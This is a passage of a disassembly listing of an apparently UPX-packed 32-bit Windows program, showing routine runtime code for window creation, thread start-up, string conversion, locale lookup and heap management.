		lea	edi, [ebp-70h]
		call	sub_409433
		call	sub_40C50C
		retn	4
sub_40A0E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A147	proc near		; DATA XREF: sub_409BC7+ABo
		push	64h
		mov	eax, offset loc_41C711
		call	sub_40C46D
		mov	edi, [ebp+8]
		lea	eax, [ebp-70h]
		push	eax
		call	sub_4091FA
		xor	eax, eax
		push	eax
		push	eax
		push	90000000h
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	0CF0000h
		push	offset dword_4245BC
		push	offset aStatic	; "STATIC"
		push	eax
		mov	[ebp-4], eax
		call	dword_41D290	; CreateWindowExW
		push	eax
		lea	eax, [ebp-70h]
		call	sub_418186
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	edi, [ebp-70h]
		call	sub_40927A
		call	sub_40C50C
		retn	4
sub_40A147	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1A6	proc near		; DATA XREF: UPX0:00424BC4o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, [eax]
		push	offset dword_4245BC
		push	offset aAppid_0	; "APPID"
		push	eax
		call	dword ptr [ecx+0Ch]
		retn	4
sub_40A1A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1BD	proc near		; CODE XREF: sub_4075D2+ECp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esi+8]
		push	4
		inc	eax
		push	eax
		push	dword ptr [esi]
		call	sub_40B28B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40A1D6


loc_40A1D2:				; CODE XREF: sub_40A1BD+2Fj
		xor	eax, eax
		jmp	short locret_40A21C
; ---------------------------------------------------------------------------


loc_40A1D6:				; CODE XREF: sub_40A1BD+13j
		mov	[esi], eax
		mov	eax, [esi+8]
		push	4
		inc	eax
		push	eax
		push	dword ptr [esi+4]
		call	sub_40B28B
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40A1D2
		mov	[esi+4], eax
		mov	eax, [esi+8]
		mov	ecx, eax
		mov	eax, [esi]
		shl	ecx, 2
		add	eax, ecx
		jz	short loc_40A207
		mov	edx, [esp+arg_0]
		mov	edx, [edx]
		mov	[eax], edx


loc_40A207:				; CODE XREF: sub_40A1BD+40j
		mov	eax, [esi+4]
		add	eax, ecx
		jz	short loc_40A216
		mov	ecx, [esp+arg_4]
		mov	ecx, [ecx]
		mov	[eax], ecx


loc_40A216:				; CODE XREF: sub_40A1BD+4Fj
		inc	dword ptr [esi+8]
		xor	eax, eax
		inc	eax

locret_40A21C:				; CODE XREF: sub_40A1BD+17j
		retn	8
sub_40A1BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A21F	proc near		; CODE XREF: sub_4076FC:loc_407735p
					; sub_4077EF+2Dp
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40A22F
		push	eax
		call	sub_40ADC8
		and	dword ptr [esi], 0
		pop	ecx


loc_40A22F:				; CODE XREF: sub_40A21F+4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40A241
		push	eax
		call	sub_40ADC8
		and	dword ptr [esi+4], 0
		pop	ecx


loc_40A241:				; CODE XREF: sub_40A21F+15j
		and	dword ptr [esi+8], 0
		retn
sub_40A21F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A246	proc near		; CODE XREF: sub_4076FC+24p
					; sub_407A74+45p
		test	eax, eax
		jl	short loc_40A256
		cmp	eax, [ecx+8]
		jge	short loc_40A256
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_40A256:				; CODE XREF: sub_40A246+2j
					; sub_40A246+7j
		push	0
		push	0
		push	1
		push	0C000008Ch
		call	dword_41D1DC	; RaiseException
		int	3		; Trap to Debugger


loc_40A268:				; CODE XREF: UPX0:0041C3B4j
					; UPX0:0041C3BCj
		push	dword ptr [esi]
		call	sub_40B36B
		and	dword ptr [esi], 0
		pop	ecx
		retn
sub_40A246	endp

; ---------------------------------------------------------------------------


loc_40A274:				; CODE XREF: UPX0:0041C2A5j
					; UPX0:0041C2ADj ...
		lea	ecx, [eax+4]
		cmp	[eax], ecx
		jz	short locret_40A280
		jmp	sub_40A2EA
; ---------------------------------------------------------------------------

locret_40A280:				; CODE XREF: UPX0:0040A279j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40A281	proc near		; CODE XREF: sub_4098E0+65p
					; sub_4098E0+147p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		lea	ecx, [eax+2]


loc_40A288:				; CODE XREF: sub_40A281+Fj
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_40A288
		sub	eax, ecx
		push	ebx
		push	[esp+4+arg_4]
		sar	eax, 1
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		call	sub_40A4B6
		pop	ebx
		retn	8
sub_40A281	endp

; ---------------------------------------------------------------------------


loc_40A2AA:				; CODE XREF: UPX0:0041C272j
		mov	ecx, [eax]
		add	eax, 4
		cmp	ecx, eax
		jz	short locret_40A2BA
		push	ecx
		call	sub_40ADC8
		pop	ecx

locret_40A2BA:				; CODE XREF: UPX0:0040A2B1j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40A2BB	proc near		; CODE XREF: sub_409BC7+D7p
					; sub_409CAD+27p ...

arg_0		= dword	ptr  4

		push	edi
		push	8
		call	sub_40B45F
		pop	ecx
		mov	ecx, [esp+4+arg_0]
		mov	[eax+4], ecx
		xor	ecx, ecx
		lea	edi, [esi+4]
		push	edi
		push	ecx
		push	eax
		push	offset sub_40A478
		push	ecx
		push	ecx
		mov	[eax], esi
		call	dword_41D0B0	; CreateThread
		mov	[esi], eax
		mov	eax, [edi]
		pop	edi
		retn	4
sub_40A2BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A2EA	proc near		; CODE XREF: sub_4078AB+BCp
					; sub_4078AB+175p ...
		push	dword ptr [eax]
		call	sub_40ADC8
		pop	ecx
		retn
sub_40A2EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A2F3	proc near		; CODE XREF: sub_408F59+2Bp
					; sub_408FB6+C1p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A309
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0
		jmp	locret_40A394
; ---------------------------------------------------------------------------


loc_40A309:				; CODE XREF: sub_40A2F3+9j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	dword_41D1D4	; lstrlenA
		mov	esi, [ebp+arg_0]
		mov	ebx, eax
		inc	ebx
		lea	edi, [esi+4]
		mov	ecx, ebx
		mov	[ebp+var_4], ebx
		call	sub_40A5F1
		push	ebx
		push	dword ptr [esi]
		push	ebx
		push	[ebp+arg_4]
		mov	ebx, dword_41D1F4
		push	0
		push	[ebp+arg_8]
		call	ebx ; dword_41D1F4
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		inc	esi
		jz	short loc_40A391
		call	dword_41D1D8	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jnz	short loc_40A388
		xor	eax, eax
		push	eax
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		call	ebx ; dword_41D1F4
		mov	esi, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		call	sub_40A5F1
		push	[ebp+var_8]
		mov	eax, esi
		push	dword ptr [eax]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	0
		push	[ebp+arg_8]
		call	ebx ; dword_41D1F4
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		inc	esi


loc_40A388:				; CODE XREF: sub_40A2F3+5Bj
		test	esi, esi
		jz	short loc_40A391
		call	sub_407297
; ---------------------------------------------------------------------------


loc_40A391:				; CODE XREF: sub_40A2F3+50j
					; sub_40A2F3+97j
		pop	edi
		pop	esi
		pop	ebx

locret_40A394:				; CODE XREF: sub_40A2F3+11j
		leave
		retn	0Ch
sub_40A2F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A398	proc near		; CODE XREF: sub_408FB6+79p
					; sub_408FB6+164p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A3AE
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0
		jmp	locret_40A44E
; ---------------------------------------------------------------------------


loc_40A3AE:				; CODE XREF: sub_40A398+9j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	dword_41D1F0	; lstrlenW
		mov	esi, [ebp+arg_0]
		mov	ebx, eax
		inc	ebx
		mov	ecx, ebx
		shl	ecx, 2
		lea	edi, [esi+4]
		mov	[ebp+var_4], ecx
		mov	[ebp+var_8], edi
		call	sub_40A651
		mov	edi, dword_41D07C
		xor	eax, eax
		push	eax
		push	eax
		push	[ebp+var_4]
		mov	ecx, esi
		push	dword ptr [ecx]
		push	ebx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		call	edi ; dword_41D07C
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		inc	esi
		jz	short loc_40A44B
		call	dword_41D1D8	; RtlGetLastWin32Error
		cmp	eax, 7Ah
		jnz	short loc_40A442
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		call	edi ; dword_41D07C
		mov	edi, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_4], eax
		call	sub_40A651
		xor	eax, eax
		push	eax
		push	eax
		push	[ebp+var_4]
		mov	ecx, esi
		push	dword ptr [ecx]
		push	ebx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_8]
		call	dword_41D07C	; WideCharToMultiByte
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		inc	esi


loc_40A442:				; CODE XREF: sub_40A398+68j
		test	esi, esi
		jz	short loc_40A44B
		call	sub_407297
; ---------------------------------------------------------------------------


loc_40A44B:				; CODE XREF: sub_40A398+5Dj
					; sub_40A398+ACj
		pop	edi
		pop	esi
		pop	ebx

locret_40A44E:				; CODE XREF: sub_40A398+11j
		leave
		retn	0Ch
sub_40A398	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A452	proc near		; DATA XREF: sub_40968F+4Ao

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		mov	ecx, [eax+8]
		mov	edx, [eax+10h]
		push	edi
		mov	edi, [eax+14h]
		push	dword ptr [esi+4]
		add	ecx, edi
		call	edx
		push	esi
		call	sub_40AC11
		pop	ecx
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
sub_40A452	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A478	proc near		; DATA XREF: sub_40A2BB+18o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		push	dword ptr [esi+4]
		mov	ecx, [eax+8]
		call	dword ptr [eax+0Ch]
		push	esi
		call	sub_40AC11
		pop	ecx
		xor	eax, eax
		pop	esi
		retn	4
sub_40A478	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A495	proc near		; CODE XREF: sub_4078AB+F3p
					; sub_407CD3+114p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		call	sub_40AEA5
		pop	ecx
		test	eax, eax
		jnz	short loc_40A4AD
		push	8007000Eh
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_40A4AD:				; CODE XREF: sub_40A495+Cj
		mov	ecx, [esp+arg_0]
		mov	[ecx], eax
		retn	8
sub_40A495	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A4B6	proc near		; CODE XREF: sub_40A281+20p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		push	edi
		mov	ecx, esi
		call	sub_4060F4
		test	al, al
		jz	short loc_40A4E7
		cmp	dword ptr [esi+18h], 8
		jb	short loc_40A4D5
		mov	eax, [esi+4]
		jmp	short loc_40A4D8
; ---------------------------------------------------------------------------


loc_40A4D5:				; CODE XREF: sub_40A4B6+18j
		lea	eax, [esi+4]


loc_40A4D8:				; CODE XREF: sub_40A4B6+1Dj
		sub	edi, eax
		push	ebx
		sar	edi, 1
		push	edi
		mov	eax, esi
		call	sub_40A54C
		jmp	short loc_40A547
; ---------------------------------------------------------------------------


loc_40A4E7:				; CODE XREF: sub_40A4B6+12j
		or	eax, 0FFFFFFFFh
		sub	eax, [esi+14h]
		cmp	eax, ebx
		jbe	short loc_40A4FB
		mov	eax, [esi+14h]
		lea	ecx, [eax+ebx]
		cmp	ecx, eax
		jnb	short loc_40A500


loc_40A4FB:				; CODE XREF: sub_40A4B6+39j
		call	sub_40AB96


loc_40A500:				; CODE XREF: sub_40A4B6+43j
		test	ebx, ebx
		jbe	short loc_40A545
		mov	edi, [esi+14h]
		add	edi, ebx
		mov	eax, esi
		call	sub_4060AE
		test	al, al
		jz	short loc_40A545
		mov	eax, [esi+18h]
		cmp	eax, 8
		jb	short loc_40A521
		mov	edx, [esi+4]
		jmp	short loc_40A524
; ---------------------------------------------------------------------------


loc_40A521:				; CODE XREF: sub_40A4B6+64j
		lea	edx, [esi+4]


loc_40A524:				; CODE XREF: sub_40A4B6+69j
		mov	ecx, [esi+14h]
		push	[esp+8+arg_0]
		sub	eax, ecx
		push	eax
		lea	eax, [edx+ecx*2]
		push	eax
		mov	eax, ebx
		call	sub_406F3F
		add	esp, 0Ch
		mov	ecx, edi
		mov	eax, esi
		call	sub_405B16


loc_40A545:				; CODE XREF: sub_40A4B6+4Cj
					; sub_40A4B6+5Cj
		mov	eax, esi


loc_40A547:				; CODE XREF: sub_40A4B6+2Fj
		pop	edi
		pop	esi
		retn	4
sub_40A4B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A54C	proc near		; CODE XREF: sub_40A4B6+2Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+14h]
		push	edi
		mov	edi, [ebp+arg_4]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_40A564
		call	sub_40ABCE


loc_40A564:				; CODE XREF: sub_40A54C+11j
		mov	eax, [ebx+14h]
		sub	eax, [ebp+arg_0]
		cmp	eax, edi
		jnb	short loc_40A573
		mov	edi, eax
		mov	[ebp+arg_4], edi


loc_40A573:				; CODE XREF: sub_40A54C+20j
		or	eax, 0FFFFFFFFh
		sub	eax, [esi+14h]
		cmp	eax, edi
		jbe	short loc_40A587
		mov	eax, [esi+14h]
		lea	ecx, [eax+edi]
		cmp	ecx, eax
		jnb	short loc_40A58C


loc_40A587:				; CODE XREF: sub_40A54C+2Fj
		call	sub_40AB96


loc_40A58C:				; CODE XREF: sub_40A54C+39j
		test	edi, edi
		jbe	short loc_40A5E9
		mov	eax, [esi+14h]
		add	eax, edi
		mov	[ebp+var_4], eax
		mov	edi, eax
		mov	eax, esi
		call	sub_4060AE
		test	al, al
		jz	short loc_40A5E9
		cmp	dword ptr [ebx+18h], 8
		jb	short loc_40A5B0
		mov	ebx, [ebx+4]
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------


loc_40A5B0:				; CODE XREF: sub_40A54C+5Dj
		add	ebx, 4


loc_40A5B3:				; CODE XREF: sub_40A54C+62j
		mov	eax, [esi+18h]
		cmp	eax, 8
		jb	short loc_40A5C0
		mov	edx, [esi+4]
		jmp	short loc_40A5C3
; ---------------------------------------------------------------------------


loc_40A5C0:				; CODE XREF: sub_40A54C+6Dj
		lea	edx, [esi+4]


loc_40A5C3:				; CODE XREF: sub_40A54C+72j
		mov	ecx, [esi+14h]
		mov	edi, [ebp+arg_0]
		sub	eax, ecx
		lea	edi, [ebx+edi*2]
		push	edi
		push	eax
		lea	eax, [edx+ecx*2]
		push	eax
		mov	eax, [ebp+arg_4]
		call	sub_406F3F
		mov	ecx, [ebp+var_4]
		add	esp, 0Ch
		mov	eax, esi
		call	sub_405B16


loc_40A5E9:				; CODE XREF: sub_40A54C+42j
					; sub_40A54C+57j
		pop	edi
		mov	eax, esi
		pop	ebx
		leave
		retn	8
sub_40A54C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A5F1	proc near		; CODE XREF: sub_40A2F3+30p
					; sub_40A2F3+75p
		test	esi, esi
		jnz	short loc_40A5FF


loc_40A5F5:				; CODE XREF: sub_40A5F1+10j
					; sub_40A5F1+14j
		push	80070057h


loc_40A5FA:				; CODE XREF: sub_40A5F1+39j
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_40A5FF:				; CODE XREF: sub_40A5F1+2j
		test	ecx, ecx
		jl	short loc_40A5F5
		test	edi, edi
		jz	short loc_40A5F5
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_40A63B
		cmp	ecx, 80h
		jle	short loc_40A62C
		push	2
		push	ecx
		push	eax
		call	sub_40B28B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40A64D


loc_40A625:				; CODE XREF: sub_40A5F1+47j
		push	8007000Eh
		jmp	short loc_40A5FA
; ---------------------------------------------------------------------------


loc_40A62C:				; CODE XREF: sub_40A5F1+22j
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40A633:				; CODE XREF: sub_40A5F1+50j
		mov	[esi], edi


loc_40A635:				; CODE XREF: sub_40A5F1+5Ej
		cmp	dword ptr [esi], 0
		jz	short loc_40A625
		retn
; ---------------------------------------------------------------------------


loc_40A63B:				; CODE XREF: sub_40A5F1+1Aj
		cmp	ecx, 80h
		jle	short loc_40A633
		push	2
		push	ecx
		call	sub_40B5BD
		pop	ecx
		pop	ecx


loc_40A64D:				; CODE XREF: sub_40A5F1+32j
		mov	[esi], eax
		jmp	short loc_40A635
sub_40A5F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A651	proc near		; CODE XREF: sub_40A398+36p
					; sub_40A398+85p
		test	esi, esi
		jnz	short loc_40A65F


loc_40A655:				; CODE XREF: sub_40A651+10j
					; sub_40A651+14j
		push	80070057h


loc_40A65A:				; CODE XREF: sub_40A651+39j
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_40A65F:				; CODE XREF: sub_40A651+2j
		test	ecx, ecx
		jl	short loc_40A655
		test	edi, edi
		jz	short loc_40A655
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_40A69B
		cmp	ecx, 80h
		jle	short loc_40A68C
		push	1
		push	ecx
		push	eax
		call	sub_40B28B
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40A6AD


loc_40A685:				; CODE XREF: sub_40A651+47j
		push	8007000Eh
		jmp	short loc_40A65A
; ---------------------------------------------------------------------------


loc_40A68C:				; CODE XREF: sub_40A651+22j
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_40A693:				; CODE XREF: sub_40A651+50j
		mov	[esi], edi


loc_40A695:				; CODE XREF: sub_40A651+5Ej
		cmp	dword ptr [esi], 0
		jz	short loc_40A685
		retn
; ---------------------------------------------------------------------------


loc_40A69B:				; CODE XREF: sub_40A651+1Aj
		cmp	ecx, 80h
		jle	short loc_40A693
		push	1
		push	ecx
		call	sub_40B5BD
		pop	ecx
		pop	ecx


loc_40A6AD:				; CODE XREF: sub_40A651+32j
		mov	[esi], eax
		jmp	short loc_40A695
sub_40A651	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A6B1	proc near		; DATA XREF: sub_40A71A:loc_40A75Bo

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		xor	esi, esi
		call	dword_41D0C0	; GetThreadLocale
		push	7
		lea	ecx, [ebp+var_C]
		push	ecx
		push	1004h
		push	eax
		call	dword_41D0BC	; GetLocaleInfoA
		test	eax, eax
		jz	short loc_40A6FF
		mov	cl, [ebp+var_C]
		test	cl, cl
		lea	eax, [ebp+var_C]
		jz	short loc_40A6FF


loc_40A6EA:				; CODE XREF: sub_40A6B1+48j
		imul	esi, 0Ah
		movsx	ecx, cl
		inc	eax
		lea	esi, [esi+ecx-30h]
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A6EA
		test	esi, esi
		jnz	short loc_40A707


loc_40A6FF:				; CODE XREF: sub_40A6B1+2Dj
					; sub_40A6B1+37j
		call	dword_41D0B8	; GetACP
		mov	esi, eax


loc_40A707:				; CODE XREF: sub_40A6B1+4Cj
		mov	ecx, [ebp+var_4]
		mov	eax, esi
		xor	ecx, ebp
		pop	esi
		call	sub_40AC1C
		leave
		retn
sub_40A6B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A716	proc near		; DATA XREF: sub_40A71A+3Ao
		push	3
		pop	eax
		retn
sub_40A716	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A71A	proc near		; CODE XREF: sub_401304+Cp
					; sub_401BB2+C6p ...

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_98]
		push	eax
		mov	[ebp+var_98], 94h
		call	dword_41D0C4	; GetVersionExA
		cmp	[ebp+var_88], 2
		jnz	short loc_40A75B
		cmp	[ebp+var_94], 5
		mov	eax, offset sub_40A716
		jnb	short loc_40A760


loc_40A75B:				; CODE XREF: sub_40A71A+31j
		mov	eax, offset sub_40A6B1


loc_40A760:				; CODE XREF: sub_40A71A+3Fj
		push	eax
		push	offset off_42A000
		call	dword_41D0B4	; InterlockedExchange
		call	off_42A000
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		leave
		retn
sub_40A71A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A77E	proc near		; CODE XREF: sub_40A859+4p

arg_0		= dword	ptr  4

		mov	eax, dword_42E340
		cmp	eax, 1
		push	[esp+arg_0]
		jnz	short loc_40A79C
		push	0
		call	dword_41D0D0	; GetProcessHeap
		push	eax
		call	dword_41D0CC	; RtlFreeHeap
		retn
; ---------------------------------------------------------------------------


loc_40A79C:				; CODE XREF: sub_40A77E+Cj
		push	eax
		call	dword_42E344
		retn
sub_40A77E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A7A4	proc near		; CODE XREF: sub_40A866+Ap
		push	ebx
		push	0Ch
		call	dword_41D0E0	; IsProcessorFeaturePresent
		test	eax, eax
		jnz	short loc_40A7B9
		inc	eax
		mov	dword_42E340, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40A7B9:				; CODE XREF: sub_40A7A4+Bj
		push	ebp
		push	esi
		push	edi
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	dword_41D0DC	; LoadLibraryA
		mov	edi, eax
		xor	ebp, ebp
		cmp	edi, ebp
		jz	short loc_40A7EF
		mov	esi, dword_41D0D8
		push	offset aInterlockedpus ; "InterlockedPushEntrySList"
		push	edi
		call	esi ; dword_41D0D8
		push	offset aInterlockedpop ; "InterlockedPopEntrySList"
		push	edi
		mov	dword_42E344, eax
		call	esi ; dword_41D0D8
		mov	dword_42E348, eax


loc_40A7EF:				; CODE XREF: sub_40A7A4+29j
		cmp	dword_42E344, ebp
		jz	short loc_40A852
		cmp	dword_42E348, ebp
		jz	short loc_40A852
		mov	eax, large fs:18h
		mov	esi, [eax+30h]
		add	esi, 34h
		mov	eax, [esi]
		cmp	eax, ebp
		jnz	short loc_40A848
		mov	ebx, dword_41D0D0
		push	8
		push	ebp
		call	ebx ; dword_41D0D0
		push	eax
		call	dword_41D0D4	; RtlAllocateHeap
		mov	edi, eax
		cmp	edi, ebp
		jz	short loc_40A852
		push	ebp
		push	edi
		push	esi
		mov	[edi], ebp
		mov	[edi+4], ebp
		call	dword_41D0C8	; InterlockedCompareExchange
		test	eax, eax
		jz	short loc_40A846
		push	edi
		push	ebp
		call	ebx ; dword_41D0D0
		push	eax
		call	dword_41D0CC	; RtlFreeHeap


loc_40A846:				; CODE XREF: sub_40A7A4+95j
		mov	eax, [esi]


loc_40A848:				; CODE XREF: sub_40A7A4+6Bj
		mov	dword_42E340, eax
		xor	eax, eax
		inc	eax
		jmp	short loc_40A854
; ---------------------------------------------------------------------------


loc_40A852:				; CODE XREF: sub_40A7A4+51j
					; sub_40A7A4+59j ...
		xor	eax, eax


loc_40A854:				; CODE XREF: sub_40A7A4+ACj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40A7A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A859	proc near		; CODE XREF: sub_401E62+28p
					; sub_401F64+B9p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40A77E
		pop	ecx
		retn	4
sub_40A859	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A866	proc near		; CODE XREF: sub_40A906j
		cmp	dword_42E340, 0
		push	esi
		jnz	short loc_40A879
		call	sub_40A7A4
		test	eax, eax
		jz	short loc_40A8BC


loc_40A879:				; CODE XREF: sub_40A866+8j
		mov	eax, dword_42E340
		cmp	eax, 1
		jnz	short loc_40A89A
		push	0Dh
		push	0
		call	dword_41D0D0	; GetProcessHeap
		push	eax
		call	dword_41D0D4	; RtlAllocateHeap
		test	eax, eax
		jz	short loc_40A8BC
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A89A:				; CODE XREF: sub_40A866+1Bj
		push	eax
		call	dword_42E348
		test	eax, eax
		jnz	short loc_40A904
		push	40h
		mov	eax, 1000h
		push	eax
		push	eax
		push	0
		call	dword_41D0E8	; VirtualAlloc
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40A8C0


loc_40A8BC:				; CODE XREF: sub_40A866+11j
					; sub_40A866+30j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40A8C0:				; CODE XREF: sub_40A866+54j
		mov	eax, [esi]
		push	edi
		push	dword_42E340
		call	dword_42E348
		mov	edi, eax
		test	edi, edi
		jz	short loc_40A8E7
		push	8000h
		push	0
		push	esi
		call	dword_41D0E4	; VirtualFree
		mov	eax, edi
		jmp	short loc_40A903
; ---------------------------------------------------------------------------


loc_40A8E7:				; CODE XREF: sub_40A866+6Dj
		lea	edi, [esi+0FF0h]


loc_40A8ED:				; CODE XREF: sub_40A866+99j
		push	esi
		push	dword_42E340
		call	dword_42E344
		add	esi, 10h
		cmp	esi, edi
		jb	short loc_40A8ED
		mov	eax, esi


loc_40A903:				; CODE XREF: sub_40A866+7Fj
		pop	edi


loc_40A904:				; CODE XREF: sub_40A866+3Dj
		pop	esi
		retn
sub_40A866	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40A906	proc near		; CODE XREF: sub_4018DB+9p
		jmp	sub_40A866
sub_40A906	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A90B	proc near		; CODE XREF: sub_40AA1C+Fp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_40A91A


loc_40A913:				; CODE XREF: sub_40A90B+12j
		mov	eax, 80070057h
		jmp	short locret_40A92B
; ---------------------------------------------------------------------------


loc_40A91A:				; CODE XREF: sub_40A90B+6j
		cmp	dword ptr [eax], 2Ch
		jnz	short loc_40A913
		and	dword ptr [eax+1Ch], 0
		lea	ecx, [eax+4]
		call	sub_401154

locret_40A92B:				; CODE XREF: sub_40A90B+Dj
		retn	4
sub_40A90B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A92E	proc near		; CODE XREF: sub_40A98C+47p
					; UPX0:0040AA17j ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40A941
		push	eax
		call	sub_40ADC8
		and	dword ptr [esi], 0
		pop	ecx


loc_40A941:				; CODE XREF: sub_40A92E+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		pop	esi
		retn
sub_40A92E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A94B	proc near		; CODE XREF: sub_40A98C+2Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_40A960
		cmp	eax, [ecx+4]
		jge	short loc_40A960
		mov	ecx, [ecx]
		lea	eax, [ecx+eax*2]
		retn	4
; ---------------------------------------------------------------------------


loc_40A960:				; CODE XREF: sub_40A94B+6j
					; sub_40A94B+Bj
		push	0
		push	0
		push	1
		push	0C000008Ch
		call	dword_41D1DC	; RaiseException
		int	3		; Trap to Debugger


loc_40A972:				; CODE XREF: sub_40AA1C+3p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+4]
		call	sub_401144
		xor	eax, eax
		mov	[esi+20h], eax
		mov	[esi+24h], eax
		mov	[esi+28h], eax
		mov	eax, esi
		pop	esi
		retn
sub_40A94B	endp


; =============== S U B	R O U T	I N E =======================================



